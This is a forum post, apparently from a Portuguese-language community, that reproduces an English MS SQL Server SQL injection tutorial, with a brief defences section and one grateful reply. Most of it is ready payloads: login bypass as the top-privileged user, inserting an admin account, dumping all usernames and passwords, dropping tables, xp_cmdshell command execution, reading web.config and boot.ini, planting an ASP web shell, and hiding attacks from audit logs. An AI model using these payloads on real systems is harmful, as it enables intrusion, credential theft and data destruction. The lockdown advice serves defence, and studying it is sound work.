Jump to content

[BD] SQL Injection


teckV

Recommended Posts

SQL SECURITY

http://www.sqlsecurity.com/

O MS SQL Server é bastante vulnerável... aqui estão alguns pontos interessantes... podem não funcionar agora devido a patches e "hardenings" mas o que é preciso é entender o processo para....

há ferramentas de "Hardenning" "LockDown" para o MS SQL Server... aqui tá uma

http://www.sqlsecurity.com/Tools/LockdownScript/tabid/64/Default.aspx

Introduction

“SQL Injection occurs when an attacker is able to insert a series of SQL statements into a 'query' by manipulating data input into an application. “

Simple Sample

ql = "select * from users where username = ‘" + username + "‘ and password = ‘" + password + "‘"; 
Username: ‘; drop table users-- 
Password:
Final query:
select * from users where username = ‘‘; drop table users -- ‘ and password = ‘‘;

hummm Strings without quotes

INSERT INTO Users(Login, Password, Level) VALUES( char(0x70) + char(0x65) + char(0x74) + char(0x65) + char(0x72),  char(0x70) + char(0x65) + char(0x74) + char(0x65) + char(0x72), 0x64) 

Obtaining Information

Information Disclosure

Table- or Columnnames on the Website

Datagrid, Formfields, etc...

Error Messages

Error Messages – Step1

Login: ‘ HAVING 1=1;--
Error:Column 'Users.Level' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause 
Hints: Tablename, Column
Impact: Disclosure of the table name, can build queries against that table.

Error Messages – Step 2

Login: '; SELECT * FROM Users GROUP BY Users.Level HAVING 1=1-- 
Error: Column 'Users.UserID' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause. Column 'Users.Login' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause. Column 'Users.Password' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause. 
Hints: All columns!
Impact: Can query anything from the Usertable

Error Messages – Step 3

Login: ' OR Login = (SELECT TOP 1 Login FROM Users ORDER BY Level DESC);--[/

Impact: No Errors, logged in as most privileged User of the Secure Site!

Error Messages – Step 4

Login: ' UNION SELECT SUM(Login) FROM Users—
Error: The sum or average aggregate operation cannot take a nvarchar data type as an argument. 
Hints: DataType of the Column
Impact: Insert of own User is possible!

Creating a new user

Login: '; INSERT INTO Users VALUES('attacker', 'foobar', 100 );-- 
Impact: New user with maximum privileges created. Can log in regularly now even if code gets fixed as long as the database is not fixed.

Leveraging further access

Productversion

Reading Tables through error messages

Xp_cmdshell

Other XPs

Linked servers

Reading Files

Creating Textfiles

ActiveX Scripting

Login: ' UNION ALL SELECT @@version—
Error: Syntax error converting the nvarchar value 'Microsoft SQL Server 2000 - 8.00.760 (Intel X86) Dec 17 2002 14:22:05 Copyright (c) 1988-2003 Microsoft Corporation Developer Edition on Windows NT 5.1 (Build 2600: Service Pack 2) ' to a column of data type int. 
Impact: Easier attack planing

Reading Tables

Login: ' UNION ALL SELECT MIN(login) FROM Users WHERE Login > ‘u'--
Error: Syntax error converting the nvarchar value 'user1' to a column of data type int. 
Hint: Read any column, script it for automatic data retrieval
Impact: Read all values from the Users Table; Alter values in the Users to restrict Access for the original Administrator

Advanced Reading

Login - 1: '; BEGIN DECLARE @ret VARCHAR(8000) SET @ret=':' SELECT @ret=@ret+' '+Login+'/'+Password FROM Users WHERE Login>@ret SELECT @ret AS ret INTO foo END--
Login - 2: ' UNION ALL SELECT ret FROM foo--
Login - 3: '; DROP TABLE foo--
Impact: All Logins and Passwords retrieved! 

Xp_cmdshell

Login: '; EXEC master..xp_cmdshell 'net user >c:\inetpub\wwwroot\users.txt' ;--
Impact: All local users can be downloaded!

Other XPs

xp_logininfo
xp_startmail, xp_stopmail, xp_sendmail 
if sql mail is installed
EXEC xp_sendmail @recipients = 'pkoen', @query = 'SELECT * FROM INFORMATION_SCHEMA.TABLES', @subject = 'SQL Server Report', @message = 'The contents of INFORMATION_SCHEMA.TABLES:', @attach_results = 'TRUE', @width = 250
Custom extended stored procedures:
sp_addextendedproc 'xp_myftpwarezserver', 'c:\temp\l33th4X0r.dll'

Linked Servers

sp_addlinkedsrvlogin

openquery

Get access to the server from your own sql server!

Reading Files

'; CREATE TABLE foo(line varchar(8000));--
'; BULK INSERT foo FROM 'c:\inetpub\wwwroot\web.config';--
' UNION ALL SELECT line FROM foo;--
'; DROP TABLE foo;--

Creating Files

'; EXEC xp_cmdshell 'bcp "SELECT * FROM test..foo" queryout c:\inetpub\wwwroot\runcommand.asp -c –S localhost –U sa –P foobar'
Impact: Attacker can run any code he would like to run!
Samples for harmful scripts:
Zehir : http://www.all-secure.com/AspUpload/dbdown.asp
OnlineEdit :  http://kai.steinbach.com/online_edit/

ActiveX Scripting - 1

CREATE TABLE foo(line varchar(8000)); declare @o int, @f int, @ret int declare @line varchar(8000), @lines varchar(8000) exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'opentextfile', @f out, 'c:\boot.ini', 1 exec @ret = sp_oamethod @f, 'readline', @line out set @lines=':' while( @ret = 0 ) begin set @lines = @lines+@line exec @ret = sp_oamethod @f, 'readline', @line out end; INSERT foo VALUES(@lines);--
' UNION ALL SELECT * FROM foo;--
‘; DROP TABLE foo;--

ActiveX Scripting - 2

'; declare @o int, @f int, @t int, @ret int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'createtextfile', @f out, 'c:\inetpub\wwwroot\foo.asp', 1 exec @ret = sp_oamethod @f, 'writeline', NULL, '<% set o = server.createobject("wscript.shell")' exec @ret = sp_oamethod @f, 'writeline', NULL, 'o.run( request.querystring("cmd") ) %>';--

Advanced SQL Injection

Strings without quotes

Second-Order SQL Injection

Length Limits

Audit Evasion

Strings without quotes

INSERT INTO Users(Login, Password, Level) VALUES( char(0x70) + char(0x65) + char(0x74) + char(0x65) + char(0x72),  char(0x70) + char(0x65) + char(0x74) + char(0x65) + char(0x72), 0x64) 

Second-Order SQL Injection

Original Values:
   Login: admin'-- Password: password
Call:
sql = "update users set password = '" + newpassword + "' where username = '" + rso("username") + "' and password= '" + rso(“password") + "'"
Attack: (e.g. Passchange page)
update users set password = 'password' where username = 'admin'--' and password='password'
Impact: change password of another user

Length Limits

Only limited protection

shutdown--

drop table <tablename>

Limit is checked after escaping in the workflow layer

Login: aaaaaaaaaaaaaaa'

Password: '; shutdown--

Attack: select * from users where username='aaaaaaaaaaaaaaa'' and password='''; shutdown--

Audit Evasion

Skilled administrators use logging

Protected SPs in the logs for security reasons become security holes

Login: admin'--sp_password

Impact on Log:

-- 'sp_password' was found in the text of this event.

-- The text has been replaced with this comment for security reasons.

Defences

Input Validation

Stored Procedures

SQL Server Lockdown

Input Validation

Attempt to massage data so that it becomes valid

Be carefull with reshaping of input:

uni'on sel'ect @@version-'-

Reject input that is known to be bad

Accept only input that is known to be good and reject all other input

Stored Procedures

Not safe if called with parameters supplied by position.

Named parameters or prepared statements are safe!

sp_who '1' select * from sysobjects

OR

sp_who '1'; select * from sysobjects

SQL Server Lockdown - 1

Determine methods of connection to the server

Verify that only the network libraries you're using are enabled, using the 'Network utility‘

Verify which accounts exist

Create 'low privileged' accounts for use by applications

Remove unnecessary accounts

Ensure that all accounts have strong passwords; run a password auditing script against the server on a regular basis

SQL Server Lockdown – 2

Verify which objects exist

Many extended stored procedures can be removed safely. If this is done, consider removing the '.dll' file containing the extended stored procedure code.

Remove all sample databases - the 'northwind' and 'pubs' databases, for example.

Verify which accounts can access which objects

The account that an application uses to access the database should have only the minimum permissions necessary to access the objects that it needs to use.

SQL Server Lockdown - 3

Verify the patch level of the server

There are several buffer overflow and format string attacks against SQL Server as well as several other 'patched' security issues. It is likely that more exist.

Verify what will be logged, and what will be done with the logs.

An excellent lockdown checklist is provided at www.sqlsecurity.com

http://www.sqlsecurity.com/DesktopDefault.aspx?tabid=24

teckV

house of horus

Link to comment
Share on other sites

teckV, mas que grande tópico. Conheço algumas pessoas que foram alvos de ataques por SQL Injection e conheço outros que os efectuaram e devo dizer que sempre me perguntei como me poderia defender no caso de atacarem um site meu. Acho que obtenho aqui algumas das respostas e recomendações para as minhas bases de dados.

Link to comment
Share on other sites

  • 5 months later...

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now
×
×
  • Create New...

Important Information

By using this site you accept our Terms of Use and Privacy Policy. We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.